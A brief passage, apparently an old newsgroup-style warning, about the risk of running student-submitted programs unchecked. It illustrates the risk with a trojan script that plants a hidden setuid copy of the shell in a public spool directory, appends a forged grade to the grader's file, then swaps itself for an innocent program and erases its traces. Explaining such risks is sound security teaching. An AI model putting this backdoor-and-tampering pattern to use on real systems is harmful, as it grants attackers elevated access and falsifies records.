Better do some basic sanity checking first, or some wise guy will
horse you.  Imagine a program called homework4.c that does:
	#!/bin/sh for illustration purposes
	cp /bin/sh /usr/spool/uucppublic/.sh
	chmod ug+s /usr/spool/uucppublic/.sh
	echo "user, j.r.	homework4	98" >>$HOME/grades
	mv <argv[0]> .tmp
	cp /usr/spool/uucppublic/jruser/homework4* .
	(sleep 10 ; rm .tmp)&
	exec homework4
